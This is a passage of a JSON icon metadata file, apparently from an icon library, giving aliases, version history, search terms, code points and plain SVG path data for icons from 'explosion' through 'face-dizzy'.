      "terms": ["blast", "blowup", "boom", "crash", "detonation", "explosion"]
    },
    "styles": ["solid"],
    "unicode": "e4e9",
    "label": "Explosion",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M499.6 11.3c6.7-10.7 20.5-14.5 31.7-8.5s15.8 19.5 10.6 31L404.8 338.6c2.2 2.3 4.3 4.7 6.3 7.1l97.2-54.7c10.5-5.9 23.6-3.1 30.9 6.4s6.3 23-2.2 31.5l-87 87H378.5c-13.2-37.3-48.7-64-90.5-64s-77.4 26.7-90.5 64H117.8L42.3 363.7c-9.7-6.7-13.1-19.6-7.9-30.3s17.4-15.9 28.7-12.4l97.2 30.4c3-3.9 6.1-7.7 9.4-11.3L107.4 236.3c-6.1-10.1-3.9-23.1 5.1-30.7s22.2-7.5 31.1 .1L246 293.6c1.5-.4 3-.8 4.5-1.1l13.6-142.7c1.2-12.3 11.5-21.7 23.9-21.7s22.7 9.4 23.9 21.7l13.5 141.9L499.6 11.3zM64 448v0H512v0h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64zM288 0c13.3 0 24 10.7 24 24V72c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M499.6 11.3c6.7-10.7 20.5-14.5 31.7-8.5s15.8 19.5 10.6 31L404.8 338.6c2.2 2.3 4.3 4.7 6.3 7.1l97.2-54.7c10.5-5.9 23.6-3.1 30.9 6.4s6.3 23-2.2 31.5l-87 87H378.5c-13.2-37.3-48.7-64-90.5-64s-77.4 26.7-90.5 64H117.8L42.3 363.7c-9.7-6.7-13.1-19.6-7.9-30.3s17.4-15.9 28.7-12.4l97.2 30.4c3-3.9 6.1-7.7 9.4-11.3L107.4 236.3c-6.1-10.1-3.9-23.1 5.1-30.7s22.2-7.5 31.1 .1L246 293.6c1.5-.4 3-.8 4.5-1.1l13.6-142.7c1.2-12.3 11.5-21.7 23.9-21.7s22.7 9.4 23.9 21.7l13.5 141.9L499.6 11.3zM64 448v0H512v0h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64zM288 0c13.3 0 24 10.7 24 24V72c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "eye": {
    "aliases": {
      "unicodes": {
        "composite": ["1f441"],
        "secondary": ["10f06e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "body",
        "eye",
        "look",
        "optic",
        "see",
        "seen",
        "show",
        "sight",
        "views",
        "visible"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f06e",
    "label": "Eye",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"
      },
      "regular": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 80c-65.2 0-118.8 29.6-159.9 67.7C89.6 183.5 63 226 49.4 256c13.6 30 40.2 72.5 78.6 108.3C169.2 402.4 222.8 432 288 432s118.8-29.6 159.9-67.7C486.4 328.5 513 286 526.6 256c-13.6-30-40.2-72.5-78.6-108.3C406.8 109.6 353.2 80 288 80zM95.4 112.6C142.5 68.8 207.2 32 288 32s145.5 36.8 192.6 80.6c46.8 43.5 78.1 95.4 93 131.1c3.3 7.9 3.3 16.7 0 24.6c-14.9 35.7-46.2 87.7-93 131.1C433.5 443.2 368.8 480 288 480s-145.5-36.8-192.6-80.6C48.6 356 17.3 304 2.5 268.3c-3.3-7.9-3.3-16.7 0-24.6C17.3 208 48.6 156 95.4 112.6zM288 336c44.2 0 80-35.8 80-80s-35.8-80-80-80c-.7 0-1.3 0-2 0c1.3 5.1 2 10.5 2 16c0 35.3-28.7 64-64 64c-5.5 0-10.9-.7-16-2c0 .7 0 1.3 0 2c0 44.2 35.8 80 80 80zm0-208a128 128 0 1 1 0 256 128 128 0 1 1 0-256z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 80c-65.2 0-118.8 29.6-159.9 67.7C89.6 183.5 63 226 49.4 256c13.6 30 40.2 72.5 78.6 108.3C169.2 402.4 222.8 432 288 432s118.8-29.6 159.9-67.7C486.4 328.5 513 286 526.6 256c-13.6-30-40.2-72.5-78.6-108.3C406.8 109.6 353.2 80 288 80zM95.4 112.6C142.5 68.8 207.2 32 288 32s145.5 36.8 192.6 80.6c46.8 43.5 78.1 95.4 93 131.1c3.3 7.9 3.3 16.7 0 24.6c-14.9 35.7-46.2 87.7-93 131.1C433.5 443.2 368.8 480 288 480s-145.5-36.8-192.6-80.6C48.6 356 17.3 304 2.5 268.3c-3.3-7.9-3.3-16.7 0-24.6C17.3 208 48.6 156 95.4 112.6zM288 336c44.2 0 80-35.8 80-80s-35.8-80-80-80c-.7 0-1.3 0-2 0c1.3 5.1 2 10.5 2 16c0 35.3-28.7 64-64 64c-5.5 0-10.9-.7-16-2c0 .7 0 1.3 0 2c0 44.2 35.8 80 80 80zm0-208a128 128 0 1 1 0 256 128 128 0 1 1 0-256z"
      }
    },
    "free": ["regular", "solid"]
  },
  "eye-dropper": {
    "aliases": {
      "names": ["eye-dropper-empty", "eyedropper"],
      "unicodes": {
        "secondary": ["10f1fb"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["beaker", "clone", "color", "copy", "eyedropper", "pipette"]
    },
    "styles": ["solid"],
    "unicode": "f1fb",
    "label": "Eye Dropper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.6 29.2L240.1 130.8l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4L482.8 170.4c39-39 39-102.2 0-141.1s-102.2-39-141.1 0zM55.4 323.3c-15 15-23.4 35.4-23.4 56.6v42.4L5.4 462.2c-8.5 12.7-6.8 29.6 4 40.4s27.7 12.5 40.4 4L89.7 480h42.4c21.2 0 41.6-8.4 56.6-23.4L309.4 335.9l-45.3-45.3L143.4 411.3c-3 3-7.1 4.7-11.3 4.7H96V379.9c0-4.2 1.7-8.3 4.7-11.3L221.4 247.9l-45.3-45.3L55.4 323.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M341.6 29.2L240.1 130.8l-9.4-9.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-9.4-9.4L482.8 170.4c39-39 39-102.2 0-141.1s-102.2-39-141.1 0zM55.4 323.3c-15 15-23.4 35.4-23.4 56.6v42.4L5.4 462.2c-8.5 12.7-6.8 29.6 4 40.4s27.7 12.5 40.4 4L89.7 480h42.4c21.2 0 41.6-8.4 56.6-23.4L309.4 335.9l-45.3-45.3L143.4 411.3c-3 3-7.1 4.7-11.3 4.7H96V379.9c0-4.2 1.7-8.3 4.7-11.3L221.4 247.9l-45.3-45.3L55.4 323.3z"
      }
    },
    "free": ["solid"]
  },
  "eye-low-vision": {
    "aliases": {
      "names": ["low-vision"],
      "unicodes": {
        "secondary": ["10f2a8"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blind", "eye", "sight"]
    },
    "styles": ["solid"],
    "unicode": "f2a8",
    "label": "Eye Low Vision",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223 149.5c48.6-44.3 123-50.8 179.3-11.7c60.8 42.4 78.9 123.2 44.2 186.9L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3L223 149.5zm223.1 298L83.1 161.5c-11 14.4-20.5 28.7-28.4 42.2l339 265.7c18.7-5.5 36.2-13 52.6-21.8zM34.5 268.3c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c3.1 0 6.1-.1 9.2-.2L33.1 247.8c-1.8 6.8-1.3 14 1.4 20.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223 149.5c48.6-44.3 123-50.8 179.3-11.7c60.8 42.4 78.9 123.2 44.2 186.9L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3L223 149.5zm223.1 298L83.1 161.5c-11 14.4-20.5 28.7-28.4 42.2l339 265.7c18.7-5.5 36.2-13 52.6-21.8zM34.5 268.3c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c3.1 0 6.1-.1 9.2-.2L33.1 247.8c-1.8 6.8-1.3 14 1.4 20.5z"
      }
    },
    "free": ["solid"]
  },
  "eye-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f070"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "blind",
        "hide",
        "show",
        "toggle",
        "unseen",
        "views",
        "visible",
        "visiblity"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f070",
    "label": "Eye Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223.1 149.5C248.6 126.2 282.7 112 320 112c79.5 0 144 64.5 144 144c0 24.9-6.3 48.3-17.4 68.7L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3l-90.3-70.8zM373 389.9c-16.4 6.5-34.3 10.1-53 10.1c-79.5 0-144-64.5-144-144c0-6.9 .5-13.6 1.4-20.2L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5L373 389.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zM223.1 149.5C248.6 126.2 282.7 112 320 112c79.5 0 144 64.5 144 144c0 24.9-6.3 48.3-17.4 68.7L408 294.5c8.4-19.3 10.6-41.4 4.8-63.3c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3c0 10.2-2.4 19.8-6.6 28.3l-90.3-70.8zM373 389.9c-16.4 6.5-34.3 10.1-53 10.1c-79.5 0-144-64.5-144-144c0-6.9 .5-13.6 1.4-20.2L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5L373 389.9z"
      },
      "regular": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zm151 118.3C226 97.7 269.5 80 320 80c65.2 0 118.8 29.6 159.9 67.7C518.4 183.5 545 226 558.6 256c-12.6 28-36.6 66.8-70.9 100.9l-53.8-42.2c9.1-17.6 14.2-37.5 14.2-58.7c0-70.7-57.3-128-128-128c-32.2 0-61.7 11.9-84.2 31.5l-46.1-36.1zM394.9 284.2l-81.5-63.9c4.2-8.5 6.6-18.2 6.6-28.3c0-5.5-.7-10.9-2-16c.7 0 1.3 0 2 0c44.2 0 80 35.8 80 80c0 9.9-1.8 19.4-5.1 28.2zm9.4 130.3C378.8 425.4 350.7 432 320 432c-65.2 0-118.8-29.6-159.9-67.7C121.6 328.5 95 286 81.4 256c8.3-18.4 21.5-41.5 39.4-64.8L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5l-41.9-33zM192 256c0 70.7 57.3 128 128 128c13.3 0 26.1-2 38.2-5.8L302 334c-23.5-5.4-43.1-21.2-53.7-42.3l-56.1-44.2c-.2 2.8-.3 5.6-.3 8.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L525.6 386.7c39.6-40.6 66.4-86.1 79.9-118.4c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C465.5 68.8 400.8 32 320 32c-68.2 0-125 26.3-169.3 60.8L38.8 5.1zm151 118.3C226 97.7 269.5 80 320 80c65.2 0 118.8 29.6 159.9 67.7C518.4 183.5 545 226 558.6 256c-12.6 28-36.6 66.8-70.9 100.9l-53.8-42.2c9.1-17.6 14.2-37.5 14.2-58.7c0-70.7-57.3-128-128-128c-32.2 0-61.7 11.9-84.2 31.5l-46.1-36.1zM394.9 284.2l-81.5-63.9c4.2-8.5 6.6-18.2 6.6-28.3c0-5.5-.7-10.9-2-16c.7 0 1.3 0 2 0c44.2 0 80 35.8 80 80c0 9.9-1.8 19.4-5.1 28.2zm9.4 130.3C378.8 425.4 350.7 432 320 432c-65.2 0-118.8-29.6-159.9-67.7C121.6 328.5 95 286 81.4 256c8.3-18.4 21.5-41.5 39.4-64.8L83.1 161.5C60.3 191.2 44 220.8 34.5 243.7c-3.3 7.9-3.3 16.7 0 24.6c14.9 35.7 46.2 87.7 93 131.1C174.5 443.2 239.2 480 320 480c47.8 0 89.9-12.9 126.2-32.5l-41.9-33zM192 256c0 70.7 57.3 128 128 128c13.3 0 26.1-2 38.2-5.8L302 334c-23.5-5.4-43.1-21.2-53.7-42.3l-56.1-44.2c-.2 2.8-.3 5.6-.3 8.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "f": {
    "aliases": {
      "unicodes": {
        "composite": ["66"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter F", "Latin Small Letter F", "letter"]
    },
    "styles": ["solid"],
    "unicode": "46",
    "label": "F",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V256 448c0 17.7 14.3 32 32 32s32-14.3 32-32V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V256 448c0 17.7 14.3 32 32 32s32-14.3 32-32V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H64z"
      }
    },
    "free": ["solid"]
  },
  "face-angry": {
    "aliases": {
      "names": ["angry"],
      "unicodes": {
        "composite": ["1f620"],
        "secondary": ["10f556"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "angry",
        "angry face",
        "disapprove",
        "emoticon",
        "face",
        "mad",
        "upset"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f556",
    "label": "Face Angry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM338.7 395.9c6.6-5.9 7.1-16 1.2-22.6C323.8 355.4 295.7 336 256 336s-67.8 19.4-83.9 37.3c-5.9 6.6-5.4 16.7 1.2 22.6s16.7 5.4 22.6-1.2c11.7-13 31.6-26.7 60.1-26.7s48.4 13.7 60.1 26.7c5.9 6.6 16 7.1 22.6 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM338.7 395.9c6.6-5.9 7.1-16 1.2-22.6C323.8 355.4 295.7 336 256 336s-67.8 19.4-83.9 37.3c-5.9 6.6-5.4 16.7 1.2 22.6s16.7 5.4 22.6-1.2c11.7-13 31.6-26.7 60.1-26.7s48.4 13.7 60.1 26.7c5.9 6.6 16 7.1 22.6 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm72.4-118.5c9.7-9 10.2-24.2 1.2-33.9C315.3 344.3 290.6 328 256 328s-59.3 16.3-73.5 31.6c-9 9.7-8.5 24.9 1.2 33.9s24.9 8.5 33.9-1.2c7.4-7.9 20-16.4 38.5-16.4s31.1 8.5 38.5 16.4c9 9.7 24.2 10.2 33.9 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm72.4-118.5c9.7-9 10.2-24.2 1.2-33.9C315.3 344.3 290.6 328 256 328s-59.3 16.3-73.5 31.6c-9 9.7-8.5 24.9 1.2 33.9s24.9 8.5 33.9-1.2c7.4-7.9 20-16.4 38.5-16.4s31.1 8.5 38.5 16.4c9 9.7 24.2 10.2 33.9 1.2zM176.4 272c17.7 0 32-14.3 32-32c0-1.5-.1-3-.3-4.4l10.9 3.6c8.4 2.8 17.4-1.7 20.2-10.1s-1.7-17.4-10.1-20.2l-96-32c-8.4-2.8-17.4 1.7-20.2 10.1s1.7 17.4 10.1 20.2l30.7 10.2c-5.8 5.8-9.3 13.8-9.3 22.6c0 17.7 14.3 32 32 32zm192-32c0-8.9-3.6-17-9.5-22.8l30.2-10.1c8.4-2.8 12.9-11.9 10.1-20.2s-11.9-12.9-20.2-10.1l-96 32c-8.4 2.8-12.9 11.9-10.1 20.2s11.9 12.9 20.2 10.1l11.7-3.9c-.2 1.5-.3 3.1-.3 4.7c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-dizzy": {
    "aliases": {
      "names": ["dizzy"],
      "unicodes": {
        "secondary": ["10f567"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dazed", "dead", "disapprove", "emoticon", "face"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f567",
    "label": "Face Dizzy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-224a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM100.7 132.7c6.2-6.2 16.4-6.2 22.6 0L160 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L182.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L160 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L137.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6zm192 0c6.2-6.2 16.4-6.2 22.6 0L352 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L374.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L352 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L329.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-224a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM100.7 132.7c6.2-6.2 16.4-6.2 22.6 0L160 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L182.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L160 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L137.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6zm192 0c6.2-6.2 16.4-6.2 22.6 0L352 169.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L374.6 192l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L352 214.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L329.4 192l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6z"
      },
      "regular": {
        "last_modified": 1684767583,
